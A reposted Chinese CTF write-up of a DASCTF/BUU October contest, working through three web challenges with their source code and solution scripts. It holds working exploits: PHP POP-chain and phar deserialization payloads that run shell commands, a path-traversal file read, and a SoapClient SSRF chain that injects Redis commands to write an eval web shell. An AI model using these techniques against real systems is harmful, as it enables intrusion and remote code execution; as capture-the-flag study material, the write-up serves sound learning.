前言
晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。
EasyPOP
考察php的pop链,这题相比之下算是web中的签到题了。看题目源码:
-
<?php
-
highlight_file(
__FILE__);
-
error_reporting(
0);
-
class fine
-
-
private $
cmd;
-
private $
content;
-
public
function
__construct($
cmd, $
content)
-
{
-
$this->cmd =
$cmd;
-
$this->content =
$content;
-
}
-
public
function __invoke()
-
{
-
call_user_func(
$this->cmd,
$this->content);
-
}
-
public
function __wakeup()
-
{
-
$this->cmd =
"";
-
die(
"Go listen to Jay Chou's secret-code! Really nice");
-
}
-
}
-
class show
-
{
-
public
$ctf;
-
public
$time =
"Two and a half years";
-
public
function __construct($ctf)
-
{
-
$this->ctf =
$ctf;
-
}
-
public
function __toString()
-
{
-
return
$this->ctf->
show();
-
}
-
public
function show(): string
-
{
-
return
$this->ctf .
": Duration of practice: " .
$this->time;
-
}
-
}
-
class sorry
-
{
-
private
$name;
-
private
$password;
-
public
$hint =
"hint is depend on you";
-
public
$key;
-
public
function __construct($name, $password)
-
{
-
$this->name =
$name;
-
$this->password =
$password;
-
}
-
public
function __sleep()
-
{
-
$this->hint =
new
secret_code();
-
}
-
public
function __get($name)
-
{
-
$name =
$this->key;
-
$name();
-
}
-
public
function __destruct()
-
{
-
if (
$this->password ==
$this->name) {
-
-
echo
$this->hint;
-
}
else
if (
$this->name =
"jay") {
-
secret_code::
secret();
-
}
else {
-
echo
"This is our code";
-
}
-
}
-
public
function getPassword()
-
{
-
return
$this->password;
-
}
-
public
function setPassword($password): void
-
{
-
$this->password =
$password;
-
}
-
}
-
class secret_code
-
{
-
protected
$code;
-
public
static
function secret()
-
{
-
include_once
"hint.php";
-
hint();
-
}
-
public
function __call($name, $arguments)
-
{
-
$num =
$name;
-
$this->
$num();
-
}
-
private
function show()
-
{
-
return
$this->code->secret;
-
}
-
}
-
if (
isset(
$_GET[
'pop'])) {
-
$a =
unserialize(
$_GET[
'pop']);
-
$a->
setPassword(
md5(
mt_rand()));
-
}
else {
-
$a =
new
show(
"Ctfer");
-
echo
$a->
show();
-
}
?>
代码比较长,但是好懂,最终漏洞触发点是为fine类中的call_user_func函数,达到任意函数调用,链子也比较简单:
-
sorry:
__destruct() -> show:
__toString() -> secret_code:
call() -> secret_code:
show() ->
-
sorry:__get -> fine : __invoke
这里防止我们调用的函数为空,需要绕过wakeup,常规绕过就是属性值大于原有值,这里看wp学习另一种绕过方式,fast_destruct,常规的执行顺序:(wake_up -> __desturct)
我们去掉一个大括号,让它强制先执行__destruct方法,但是这个方法在只有一个类是不适用的。
这一题还是比较简单的,直接上exp。
-
<?php
-
class fine{
-
private
$cmd=
'passthru';
-
private
$content=
'ls';
-
function __construct(){
-
}
-
}
-
class show{
-
public
$ctf;
-
public
function __construct(){
-
//$this->ctf=new secret_code();
-
}
-
}
-
class sorry{
-
private
$name=
1;
-
private
$password=
1;
-
public
$hint;
-
public
$key;
-
public
function __construct(){
-
$this->hint =
new
show();
-
$this->key=
new
fine();
-
}
-
}
-
class secret_code{
-
protected
$code;
-
public
function __construct(){
-
$this->code=
new
sorry();
-
}
-
}
-
$a =
new
sorry();
-
$a->hint->ctf=
new
secret_code();
-
$str =
serialize(
$a);
-
$str1 =
str_replace(
'fine":2',
'fine":5',
$str);
-
echo
urlencode((
$str1));
-
?>
因为这一题的php版本为php7,对类属性不敏感,所以把私有属性全都改为public编写exp会更简单。
hade_waibo
这道题网上查到最多的就是非预期解法。

随便注册一个用户名进去后有三个功能,上传,删除和搜索。我们在搜索功能上发现可以任意读文件,也就是这里存在非预期,直接目录穿越读取start.sh,payload为:
file.php?m=show&filename=…/…/…/…/start.sh
这个文件有flag的文件名,再利用任意文件读取漏洞读出flag就行了。这个方法很巧妙,但是学不到什么东西,看官方wp放的预期解:
把网站源码读出来,一共有三个php文件,代码一共太多了,这里只放关键代码,这里我们利用class.php的User类和Test类,
-
<?php
-
class User
-
{
-
public
$username;
-
public
function __construct($username){
-
$this->username =
$username;
-
$_SESSION[
'isLogin'] = True;
-
$_SESSION[
'username'] =
$username;
-
}
-
public
function __wakeup(){
-
$cklen =
strlen(
$_SESSION[
"username"]);
-
if (
$cklen !=
0
and
$cklen <=
6) {
-
$this->username =
$_SESSION[
"username"];
-
}
-
}
-
public
function __destruct(){
-
if (
$this->username ==
'') {
-
session_destroy();
-
}
-
}
-
}
Test类:
-
class Test
-
{
-
public
$value;
-
-
public
function __destruct(){
-
chdir(
'./upload');
-
$this->
backdoor();
-
}
-
public
function __wakeup(){
-
$this->value =
"Don't make dream.Wake up plz!";
-
}
-
public
function __toString(){
-
$file =
substr(
$_GET[
'file'],
0,
3);
-
file_put_contents(
$file,
"Hack by $file !");
-
return
'Unreachable! :)';
-
}
-
public
function backdoor(){
-
if(
preg_match(
'/[A-Za-z0-9?$@]+/',
$this->value)){
-
$this->value =
'nono~';
-
}
-
system(
$this->value);
-
}
-
}
Test类有我们的system敏感函数,但是过滤了字母数字,这两个类可以反序列化,另外也有文件包含,所以我们可以通过上传phar文件来执行这个system函数,另外参数value在__wakeup函数会被赋值,这里我们要用的User类了,我们可以让Test类中的value属性去引用User类中的地址,那么就可以通过修改username的值来间接控制value的内容,在User类的__wakeup函数有个赋值操作

$_SESSION["username"]就是我们注册的用户名,所以赋值操作我们可控,那么剩下一个问题,我们怎么在过滤字母数字的情况下执行linux命令,可以用. ./*来执行当前目录下的文件。linux中可以用点来执行任意shell文件,那么通过网站的上传功能上传一个shell文件,然后再注册一个用户名为. ./*的用户,上传一个phar文件来触发反序列化,话不多说,开始实操,嘿嘿
通过上传界面上传写入ls /命令的shell文件。

接下来就是注册一个. ./*的用户名,编写exp
-
<?php
-
class User{
-
public
$username;
-
}
-
class Test
-
{
-
public
$value;
-
-
}
-
$b=
new
User();
-
$a=
new
Test();
-
$b->username=
new
Test();
-
$b->aaa=
$a;
-
$a->value=&
$b->username;
-
$phar =
new
Phar(
"abcd.phar");
-
$phar->
startBuffering();
-
$phar->
setStub(
"<?php __HALT_COMPILER(); ?>");
-
$phar->
setMetadata(
$b);
-
$phar->
addFromString(
"test.txt",
"test");
-
$phar->
stopBuffering();
-
?>
这里看exp有个问题,为什么User类要新增一个属性去实例化Test类,这里看到一位师傅的博客(DASCTF X GFCTF 2022十月挑战赛!_递归 trash can的博客-CSDN博客)解释的比较详细,我自己也在本地测试看看生成的序列化串,

这是正常的,

这里的value属性就没有引用了,所以新加的属性是为了让value能够引用的,直接上传phar文件,

最后利用网站的搜索功能,用phar伪协议读取,

这里是成功执行命令了。同时出现了flag文件,通过任意文件读取获得flag。
EasyLove
题目描述就给了hint,让我们打redis数据库,好家伙,看题目源码:
-
<?php
-
highlight_file(
__FILE__);
-
error_reporting(
0);
-
class swpu{
-
public
$wllm;
-
public
$arsenetang;
-
public
$l61q4cheng;
-
public
$love;
-
public
function __construct($wllm,$arsenetang,$l61q4cheng,$love){
-
$this->wllm =
$wllm;
-
$this->arsenetang =
$arsenetang;
-
$this->l61q4cheng =
$l61q4cheng;
-
$this->love =
$love;
-
}
-
public
function newnewnew(){
-
$this->love =
new
$this->
wllm(
$this->arsenetang,
$this->l61q4cheng);
-
}
-
public
function flag(){
-
$this->love->
getflag();
-
}
-
public
function __destruct(){
-
$this->
newnewnew();
-
$this->
flag();
-
}
-
}
-
class hint{
-
public
$hint;
-
public
function __destruct(){
-
echo
file_get_contents(
$this-> hint.
'hint.php');
-
}
-
}
-
$hello =
$_GET[
'hello'];
-
$world =
unserialize(
$hello);
有个hint类可以读取hint.php,先写个序列化串看一下提示吧,
-
<?php
-
class hint{
-
public
$hint=
"php://filter/read=convert.base64-encode/resource=/var/www/html/";
-
}
-
$a =
new
hint();
-
echo
serialize(
$a);
-
?>
这里要用绝对路径,不然读取不出来。

这里写的20220311就是redis数据库的密码了。我们怎么去访问redis数据库,别急,这里还有个swpu类,

实例化任意类,那么我们可以利用某些原生类,结合题目描述打内网redis数据库,我们能用的原生类就只有SoapClient,

这里会调用一个不存在的方法,正好可以触发SoapClient原生类的call方法,那么利用条件满足。
我们知道SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组,在非wsdl模式下,必须设置location和uri选项,其他可选。我们可以通过uri选项向内网redis发指令写木马。
-
AUTH
20220311
//验证客户端链接
-
CONFIG SET dir /
var/www/html
//设置写入的目录
-
SET x
'<?@eval(\$_POST[1]);?>'
//设置写入的内容
-
CONFIG SET dbfilename cmd.php
//设置写入的文件名
-
SAVE
//保存结束
redis一般在主机的6379开启服务,编写exp:
-
<?php
-
$target =
"http://127.0.0.1:6379";
-
$option =
array(
"location"=>
$target,
"uri"=>
"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE\r\nhello");
-
class swpu{
-
public
$wllm;
-
public
$arsenetang;
-
public
$l61q4cheng;
-
public
$love;
-
public
function __construct()
-
{
-
$this->wllm =
"SoapClient";
-
$this->arsenetang = Null;
-
}
-
}
-
$aa =
new
swpu();
-
$aa->l61q4cheng =
$option;
-
echo
urlencode(
serialize(
$aa));
-
?>
打入payload后在web目录下访问cmd.php,

用蚁剑连接。 查看flag文件,有大小打开却没有东西,那肯定就是无权限了,使用date命令将flag给带出来。

最终得到flag。
BlogSystem
最后一个题目,感觉考的知识点好多啊,复现起来也比较困难,在此就不写上自己的题解了,贴上出题人pysnow师傅的文章DASCTF10月赛出题笔记 BlogSystem - Pysnow's Blog写的真的非常详细。
转载:https://blog.csdn.net/m0_62422842/article/details/127553366
